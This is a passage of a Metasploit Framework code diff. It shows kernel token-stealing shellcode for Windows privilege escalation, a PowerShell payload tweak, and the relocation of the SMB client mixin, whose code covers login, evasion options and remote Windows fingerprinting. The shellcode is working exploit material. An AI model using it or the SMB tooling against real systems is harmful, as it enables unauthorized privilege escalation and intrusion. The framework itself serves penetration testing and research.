tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
|
||||
tokenstealing << "\x75\xe8" # jne 0000101e ======================
|
||||
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
|
||||
tokenstealing << "\x75\xe8" # jne 0000101e ======================|
|
||||
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx, dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
|
||||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
|
||||
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
|
||||
tokenstealing << "\x5b" # pop ebx # Restores ebx
|
||||
tokenstealing << "\x5a" # pop edx # Restores edx
|
||||
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
|
||||
if append_ret
|
||||
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
|
||||
end
|
||||
else
|
||||
# if this is reached the issue most likely exists in the exploit module
|
||||
print_error('Unsupported arch for token stealing shellcode')
|
||||
|
|
|
@ -28,9 +28,10 @@ require 'msf/core/exploit/ipv6'
|
|||
require 'msf/core/exploit/dhcp'
|
||||
require 'msf/core/exploit/ntlm'
|
||||
require 'msf/core/exploit/dcerpc'
|
||||
require 'msf/core/exploit/smb'
|
||||
require 'msf/core/exploit/smb/authenticated'
|
||||
require 'msf/core/exploit/smb/psexec'
|
||||
require 'msf/core/exploit/smb/client'
|
||||
require 'msf/core/exploit/smb/client/authenticated'
|
||||
require 'msf/core/exploit/smb/client/psexec'
|
||||
require 'msf/core/exploit/smb/server'
|
||||
require 'msf/core/exploit/ftp'
|
||||
require 'msf/core/exploit/tftp'
|
||||
require 'msf/core/exploit/telnet'
|
||||
|
|
|
@ -296,8 +296,8 @@ EOS
|
|||
if opts[:prepend_sleep]
|
||||
if opts[:prepend_sleep].to_i > 0
|
||||
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
||||
else
|
||||
vprint_error('Sleep time must be greater than 0 seconds')
|
||||
elsif opts[:prepend_sleep].to_i < 0
|
||||
vprint_error('Sleep time must be greater than or equal to 0 seconds')
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,645 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/smb'
|
||||
require 'rex/proto/ntlm'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/encoder/ndr'
|
||||
|
||||
module Msf
|
||||
|
||||
require 'msf/core/exploit/smb_server'
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides utility methods for interacting with a SMB/CIFS service on
|
||||
# a remote machine. These methods may generally be useful in the context of
|
||||
# exploitation. This mixin extends the Tcp exploit mixin. Only one SMB
|
||||
# service can be accessed at a time using this class.
|
||||
#
|
||||
###
|
||||
|
||||
module Exploit::Remote::SMB
|
||||
|
||||
include Exploit::Remote::Tcp
|
||||
include Exploit::Remote::NTLM::Client
|
||||
|
||||
SIMPLE = Rex::Proto::SMB::SimpleClient
|
||||
XCEPT = Rex::Proto::SMB::Exceptions
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
|
||||
|
||||
# Alias over the Rex DCERPC protocol modules
|
||||
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
||||
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||
DCERPCResponse = Rex::Proto::DCERPC::Response
|
||||
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
||||
NDR = Rex::Encoder::NDR
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_evasion_options(
|
||||
[
|
||||
OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]),
|
||||
OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]),
|
||||
OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]),
|
||||
OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]),
|
||||
OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]),
|
||||
OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]),
|
||||
OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]),
|
||||
OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]),
|
||||
|
||||
], Msf::Exploit::Remote::SMB)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
||||
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
|
||||
OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']),
|
||||
OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]),
|
||||
OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]),
|
||||
#
|
||||
# Control the identified operating system of the client
|
||||
#
|
||||
OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']),
|
||||
OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']),
|
||||
|
||||
], Msf::Exploit::Remote::SMB)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
OptInt.new('RPORT', [ true, 'Set the SMB service port', 445])
|
||||
], Msf::Exploit::Remote::SMB)
|
||||
|
||||
register_autofilter_ports([ 139, 445])
|
||||
register_autofilter_services(%W{ netbios-ssn microsoft-ds })
|
||||
end
|
||||
|
||||
# Override {Exploit::Remote::Tcp#connect} to setup an SMB connection
|
||||
# and configure evasion options
|
||||
#
|
||||
# Also populates {#simple}.
|
||||
#
|
||||
# @param (see Exploit::Remote::Tcp#connect)
|
||||
# @return (see Exploit::Remote::Tcp#connect)
|
||||
def connect(global=true)
|
||||
|
||||
disconnect() if global
|
||||
|
||||
s = super(global)
|
||||
self.sock = s if global
|
||||
|
||||
# Disable direct SMB when SMBDirect has not been set
|
||||
# and the destination port is configured as 139
|
||||
direct = smb_direct
|
||||
if(datastore.default?('SMBDirect') and rport.to_i == 139)
|
||||
direct = false
|
||||
end
|
||||
|
||||
c = SIMPLE.new(s, direct)
|
||||
|
||||
# setup pipe evasion foo
|
||||
if datastore['SMB::pipe_evasion']
|
||||
# XXX - insert code to change the instance of the read/write functions to do segmentation
|
||||
end
|
||||
|
||||
if (datastore['SMB::pad_data_level'])
|
||||
c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level']
|
||||
end
|
||||
|
||||
if (datastore['SMB::pad_file_level'])
|
||||
c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level']
|
||||
end
|
||||
|
||||
if (datastore['SMB::obscure_trans_pipe_level'])
|
||||
c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level']
|
||||
end
|
||||
|
||||
self.simple = c if global
|
||||
c
|
||||
end
|
||||
|
||||
# Convert a standard ASCII string to 16-bit Unicode
|
||||
def unicode(str)
|
||||
Rex::Text.to_unicode(str)
|
||||
end
|
||||
|
||||
# Establishes an SMB session over the default socket and connects to
|
||||
# the IPC$ share.
|
||||
#
|
||||
# You should call {#connect} before calling this
|
||||
#
|
||||
# @return [void]
|
||||
def smb_login
|
||||
simple.login(
|
||||
datastore['SMBName'],
|
||||
datastore['SMBUser'],
|
||||
datastore['SMBPass'],
|
||||
datastore['SMBDomain'],
|
||||
datastore['SMB::VerifySignature'],
|
||||
datastore['NTLM::UseNTLMv2'],
|
||||
datastore['NTLM::UseNTLM2_session'],
|
||||
datastore['NTLM::SendLM'],
|
||||
datastore['NTLM::UseLMKey'],
|
||||
datastore['NTLM::SendNTLM'],
|
||||
datastore['SMB::Native_OS'],
|
||||
datastore['SMB::Native_LM'],
|
||||
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
|
||||
)
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
end
|
||||
|
||||
|
||||
# This method returns the native operating system of the peer
|
||||
def smb_peer_os
|
||||
self.simple.client.peer_native_os
|
||||
end
|
||||
|
||||
# This method returns the native lanman version of the peer
|
||||
def smb_peer_lm
|
||||
self.simple.client.peer_native_lm
|
||||
end
|
||||
|
||||
# This method opens a handle to an IPC pipe
|
||||
def smb_create(pipe)
|
||||
self.simple.create_pipe(pipe)
|
||||
end
|
||||
|
||||
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
|
||||
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
|
||||
#fd.chunk_size = 500 is better
|
||||
def smb_open(path, perm)
|
||||
self.simple.open(path, perm, datastore['SMB::ChunkSize'])
|
||||
end
|
||||
|
||||
def smb_hostname
|
||||
datastore['SMBName'] || '*SMBSERVER'
|
||||
end
|
||||
|
||||
def smb_direct
|
||||
datastore['SMBDirect']
|
||||
end
|
||||
|
||||
def domain
|
||||
datastore['SMBDomain']
|
||||
end
|
||||
|
||||
def smbhost
|
||||
if domain == "."
|
||||
"#{rhost}:#{rport}"
|
||||
else
|
||||
"#{rhost}:#{rport}|#{domain}"
|
||||
end
|
||||
end
|
||||
|
||||
# If the username contains a / slash, then
|
||||
# split it as a domain/username. NOTE: this
|
||||
# is predicated on forward slashes, and not
|
||||
# Microsoft's backwards slash convention.
|
||||
def domain_username_split(user)
|
||||
return user if(user.nil? || user.empty?)
|
||||
if !user[/\//] # Only /, not \!
|
||||
return [nil,user]
|
||||
else
|
||||
return user.split("/",2)
|
||||
end
|
||||
end
|
||||
|
||||
def splitname(uname)
|
||||
if datastore["PRESERVE_DOMAINS"]
|
||||
d,u = domain_username_split(uname)
|
||||
return u
|
||||
else
|
||||
return uname
|
||||
end
|
||||
end
|
||||
|
||||
# Whether a remote file exists
|
||||
#
|
||||
# @param file [String] Path to a file to remove, relative to the
|
||||
# most-recently connected share
|
||||
# @raise [Rex::Proto::SMB::Exceptions::ErrorCode]
|
||||
def smb_file_exist?(file)
|
||||
begin
|
||||
fd = simple.open(file, 'ro')
|
||||
rescue XCEPT::ErrorCode => e
|
||||
# If attempting to open the file results in a "*_NOT_FOUND" error,
|
||||
# then we can be sure the file is not there.
|
||||
#
|
||||
# Copy-pasted from smb/exceptions.rb to avoid the gymnastics
|
||||
# required to pull them out of a giant inverted hash
|
||||
#
|
||||
# 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND",
|
||||
# 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND",
|
||||
# 0xC0000225 => "STATUS_NOT_FOUND",
|
||||
error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code)
|
||||
# If the server returns some other error, then there was a
|
||||
# permissions problem or some other difficulty that we can't
|
||||
# really account for and hope the caller can deal with it.
|
||||
raise e unless error_is_not_found
|
||||
found = !error_is_not_found
|
||||
else
|
||||
# There was no exception, so we know the file is openable
|
||||
fd.close
|
||||
found = true
|
||||
end
|
||||
|
||||
found
|
||||
end
|
||||
|
||||
# Remove remote file
|
||||
#
|
||||
# @param file (see #smb_file_exist?)
|
||||
# @return [void]
|
||||
def smb_file_rm(file)
|
||||
fd = smb_open(file, 'ro')
|
||||
fd.delete
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Fingerprinting methods
|
||||
#
|
||||
|
||||
|
||||
# Calls the EnumPrinters() function of the spooler service
|
||||
def smb_enumprinters(flags, name, level, blen)
|
||||
stub =
|
||||
NDR.long(flags) +
|
||||
(name ? NDR.uwstring(name) : NDR.long(0)) +
|
||||
NDR.long(level) +
|
||||
NDR.long(rand(0xffffffff)+1)+
|
||||
NDR.long(blen) +
|
||||
"\x00" * blen +
|
||||
NDR.long(blen)
|
||||
|
||||
handle = dcerpc_handle(
|
||||
'12345678-1234-abcd-ef00-0123456789ab', '1.0',
|
||||
'ncacn_np', ["\\SPOOLSS"]
|
||||
)
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
dcerpc.call(0x00, stub)
|
||||
return dcerpc.last_response.stub_data
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# This method dumps the print provider strings from the spooler
|
||||
def smb_enumprintproviders
|
||||
resp = smb_enumprinters(8, nil, 1, 0)
|
||||
return nil if not resp
|
||||
rptr, tmp, blen = resp.unpack("V*")
|
||||
|
||||
resp = smb_enumprinters(8, nil, 1, blen)
|
||||
return nil if not resp
|
||||
|
||||
bcnt,pcnt,stat = resp[-12, 12].unpack("VVV")
|
||||
return nil if stat != 0
|
||||
return nil if pcnt == 0
|
||||
return nil if bcnt > blen
|
||||
return nil if pcnt < 3
|
||||
|
||||
#
|
||||
# The correct way, which leads to invalid offsets :-(
|
||||
#
|
||||
#providers = []
|
||||
#
|
||||
#0.upto(pcnt-1) do |i|
|
||||
# flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV")
|
||||
#
|
||||
# #desc = read_unicode(resp,8+desc_o).gsub("\x00", '')
|
||||
# #name = read_unicode(resp,8+name_o).gsub("\x00", '')
|
||||
# #comm = read_unicode(resp,8+comm_o).gsub("\x00", '')
|
||||
# #providers << [flags,desc,name,comm]
|
||||
#end
|
||||
#
|
||||
#providers
|
||||
|
||||
return resp
|
||||
|
||||
end
|
||||
|
||||
# This method performs an extensive set of fingerprinting operations
|
||||
def smb_fingerprint
|
||||
fprint = {}
|
||||
|
||||
# Connect to the server if needed
|
||||
if not self.simple
|
||||
connect()
|
||||
smb_login()
|
||||
end
|
||||
|
||||
fprint['native_os'] = smb_peer_os()
|
||||
fprint['native_lm'] = smb_peer_lm()
|
||||
|
||||
# Leverage Recog for SMB native OS fingerprinting
|
||||
fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { }
|
||||
|
||||
os = fp_match['os.product'] || 'Unknown'
|
||||
sp = fp_match['os.version'] || ''
|
||||
|
||||
# Metasploit prefers 'Windows 2003' vs 'Windows Server 2003'
|
||||
if os =~ /^Windows Server/
|
||||
os = os.sub(/^Windows Server/, 'Windows')
|
||||
end
|
||||
|
||||
if fp_match['os.edition']
|
||||
fprint['edition'] = fp_match['os.edition']
|
||||
end
|
||||
|
||||
if fp_match['os.build']
|
||||
fprint['build'] = fp_match['os.build']
|
||||
end
|
||||
|
||||
if sp == ''
|
||||
sp = smb_fingerprint_windows_sp(os)
|
||||
end
|
||||
|
||||
lang = smb_fingerprint_windows_lang
|
||||
|
||||
fprint['os'] = os
|
||||
fprint['sp'] = sp
|
||||
fprint['lang'] = lang
|
||||
|
||||
fprint
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the service pack level of a Windows system via SMB probes
|
||||
#
|
||||
def smb_fingerprint_windows_sp(os)
|
||||
sp = ''
|
||||
|
||||
if (os == 'Windows XP')
|
||||
# SRVSVC was blocked in SP2
|
||||
begin
|
||||
smb_create("\\SRVSVC")
|
||||
sp = 'Service Pack 0 / 1'
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
if (e.error_code == 0xc0000022)
|
||||
sp = 'Service Pack 2+'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if (os == 'Windows 2000' and sp.length == 0)
|
||||
# LLSRPC was blocked in a post-SP4 update
|
||||
begin
|
||||
smb_create("\\LLSRPC")
|
||||
sp = 'Service Pack 0 - 4'
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
if (e.error_code == 0xc0000022)
|
||||
sp = 'Service Pack 4 with MS05-010+'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Perform granular XP SP checks if LSARPC is exposed
|
||||
#
|
||||
if (os == 'Windows XP')
|
||||
|
||||
#
|
||||
# Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC
|
||||
# Credit to spoonm for first use of unbounded [out] buffers
|
||||
#
|
||||
handle = dcerpc_handle(
|
||||
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
||||
'ncacn_np', ["\\BROWSER"]
|
||||
)
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
|
||||
stub =
|
||||
NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
|
||||
NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
|
||||
NDR.long(64001) +
|
||||
NDR.long(0) +
|
||||
NDR.long(0)
|
||||
|
||||
dcerpc.call(0x22, stub)
|
||||
sp = "Service Pack 0 / 1"
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
|
||||
rescue ::Rex::Proto::DCERPC::Exceptions::Fault
|
||||
sp = "Service Pack 2+"
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Service Pack 3 fixed information leaks via [unique][out] pointers
|
||||
# Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique]
|
||||
# Credit:
|
||||
# Pointer leak is well known, but Immunity also covered in a paper
|
||||
# Silent fix of pointer leak in SP3 and detection method by Rhys Kidd
|
||||
#
|
||||
handle = dcerpc_handle(
|
||||
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
||||
'ncacn_np', ["\\BROWSER"]
|
||||
)
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
|
||||
stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1))
|
||||
resp = dcerpc.call(0x1c, stub)
|
||||
|
||||
if(resp and resp[0,4] == "\x00\x00\x02\x00")
|
||||
sp = "Service Pack 3"
|
||||
else
|
||||
if(resp and sp =~ /Service Pack 2\+/)
|
||||
sp = "Service Pack 2"
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
sp
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Determine the native language pack of a Windows system via SMB probes
|
||||
#
|
||||
def smb_fingerprint_windows_lang
|
||||
|
||||
#
|
||||
# Remote language detection via Print Providers
|
||||
# Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt
|
||||
#
|
||||
|
||||
lang = 'Unknown'
|
||||
|
||||
sigs =
|
||||
{
|
||||
'English' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Windows NT Remote Printers'),
|
||||
Rex::Text.to_unicode('LanMan Print Services')
|
||||
],
|
||||
'Spanish' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Impresoras remotas Windows NT'),
|
||||
Rex::Text.to_unicode('Impresoras remotas de Windows NT')
|
||||
],
|
||||
'Italian' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Stampanti remote di Windows NT'),
|
||||
Rex::Text.to_unicode('Servizi di stampa LanMan')
|
||||
],
|
||||
'French' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Imprimantes distantes NT'),
|
||||
Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'),
|
||||
Rex::Text.to_unicode("Services d'impression LanMan")
|
||||
],
|
||||
'German' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Remotedrucker')
|
||||
],
|
||||
'Portuguese - Brazilian' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Impr. remotas Windows NT'),
|
||||
Rex::Text.to_unicode('Impressoras remotas do Windows NT')
|
||||
],
|
||||
'Portuguese' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Imp. remotas do Windows NT')
|
||||
],
|
||||
'Hungarian' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b")
|
||||
],
|
||||
'Finnish' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74")
|
||||
],
|
||||
'Dutch' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Externe printers voor NT')
|
||||
],
|
||||
'Danish' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Fjernprintere')
|
||||
],
|
||||
'Swedish' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65")
|
||||
],
|
||||
'Polish' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Zdalne drukarki')
|
||||
],
|
||||
'Czech' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79")
|
||||
],
|
||||
'Turkish' =>
|
||||
[
|
||||
"\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00"
|
||||
],
|
||||
'Japanese' =>
|
||||
[
|
||||
"\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30"
|
||||
],
|
||||
'Chinese - Traditional' =>
|
||||
[
|
||||
"\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67"
|
||||
],
|
||||
'Chinese - Traditional / Taiwan' =>
|
||||
[
|
||||
"\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a",
|
||||
],
|
||||
'Korean' =>
|
||||
[
|
||||
"\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1",
|
||||
],
|
||||
'Russian' =>
|
||||
[
|
||||
"\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04",
|
||||
],
|
||||
|
||||
}
|
||||
|
||||
begin
|
||||
prov = smb_enumprintproviders()
|
||||
if(prov)
|
||||
sigs.each_key do |k|
|
||||
sigs[k].each do |s|
|
||||
if(prov.index(s))
|
||||
lang = k
|
||||
break
|
||||
end
|
||||
break if lang != 'Unknown'
|
||||
end
|
||||
break if lang != 'Unknown'
|
||||
end
|
||||
|
||||
if(lang == 'Unknown')
|
||||
|
||||
@fpcache ||= {}
|
||||
mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4])
|
||||
|
||||
if(not @fpcache[mhash])
|
||||
|
||||
buff = "\n"
|
||||
buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n"
|
||||
buff << " VERS: $Revision$\n"
|
||||
buff << " HOST: #{rhost}\n"
|
||||
buff << " OS: #{os}\n"
|
||||
buff << " SP: #{sp}\n"
|
||||
|
||||
prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line|
|
||||
next if line.length == 0
|
||||
buff << " FP: #{line}\n"
|
||||
end
|
||||
|
||||
prov.split(/\x00\x00+/n).each do |line|
|
||||
line.gsub!("\x00",'')
|
||||
line.strip!
|
||||
next if line.length < 6
|
||||
|
||||
buff << " TXT: #{line}\n"
|
||||
end
|
||||
|
||||
buff << "*** END FINGERPRINT\n"
|
||||
|
||||
print_line(buff)
|
||||
|
||||
@fpcache[mhash] = true
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
end
|
||||
lang
|
||||
end
|
||||
|
||||
# @return [Rex::Proto::SMB::SimpleClient]
|
||||
attr_accessor :simple
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -0,0 +1,636 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/smb'
|
||||
require 'rex/proto/ntlm'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/encoder/ndr'
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB
|
||||
# This mixin provides utility methods for interacting with a SMB/CIFS service on
|
||||
# a remote machine. These methods may generally be useful in the context of
|
||||
# exploitation. This mixin extends the Tcp exploit mixin. Only one SMB
|
||||
# service can be accessed at a time using this class.
|
||||
module Client
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::NTLM::Client
|
||||
|
||||
SIMPLE = Rex::Proto::SMB::SimpleClient
|
||||
XCEPT = Rex::Proto::SMB::Exceptions
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
|
||||
|
||||
# Alias over the Rex DCERPC protocol modules
|
||||
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
||||
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||
DCERPCResponse = Rex::Proto::DCERPC::Response
|
||||
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
||||
NDR = Rex::Encoder::NDR
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_evasion_options(
|
||||
[
|
||||
OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]),
|
||||
OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]),
|
||||
OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]),
|
||||
OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]),
|
||||
OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]),
|
||||
OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]),
|
||||
OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]),
|
||||
OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]),
|
||||
|
||||
], Msf::Exploit::Remote::SMB::Client)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
||||
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
|
||||
OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']),
|
||||
OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]),
|
||||
OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]),
|
||||
#
|
||||
# Control the identified operating system of the client
|
||||
#
|
||||
OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']),
|
||||
OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']),
|
||||
|
||||
], Msf::Exploit::Remote::SMB::Client)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
OptInt.new('RPORT', [ true, 'Set the SMB service port', 445])
|
||||
], Msf::Exploit::Remote::SMB::Client)
|
||||
|
||||
register_autofilter_ports([ 139, 445])
|
||||
register_autofilter_services(%W{ netbios-ssn microsoft-ds })
|
||||
end
|
||||
|
||||
# Override {Exploit::Remote::Tcp#connect} to setup an SMB connection
|
||||
# and configure evasion options
|
||||
#
|
||||
# Also populates {#simple}.
|
||||
#
|
||||
# @param (see Exploit::Remote::Tcp#connect)
|
||||
# @return (see Exploit::Remote::Tcp#connect)
|
||||
def connect(global=true)
|
||||
|
||||
disconnect() if global
|
||||
|
||||
s = super(global)
|
||||
self.sock = s if global
|
||||
|
||||
# Disable direct SMB when SMBDirect has not been set
|
||||
# and the destination port is configured as 139
|
||||
direct = smb_direct
|
||||
if(datastore.default?('SMBDirect') and rport.to_i == 139)
|
||||
direct = false
|
||||
end
|
||||
|
||||
c = SIMPLE.new(s, direct)
|
||||
|
||||
# setup pipe evasion foo
|
||||
if datastore['SMB::pipe_evasion']
|
||||
# XXX - insert code to change the instance of the read/write functions to do segmentation
|
||||
end
|
||||
|
||||
if (datastore['SMB::pad_data_level'])
|
||||
c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level']
|
||||
end
|
||||
|
||||
if (datastore['SMB::pad_file_level'])
|
||||
c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level']
|
||||
end
|
||||
|
||||
if (datastore['SMB::obscure_trans_pipe_level'])
|
||||
c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level']
|
||||
end
|
||||
|
||||
self.simple = c if global
|
||||
c
|
||||
end
|
||||
|
||||
# Convert a standard ASCII string to 16-bit Unicode
|
||||
def unicode(str)
|
||||
Rex::Text.to_unicode(str)
|
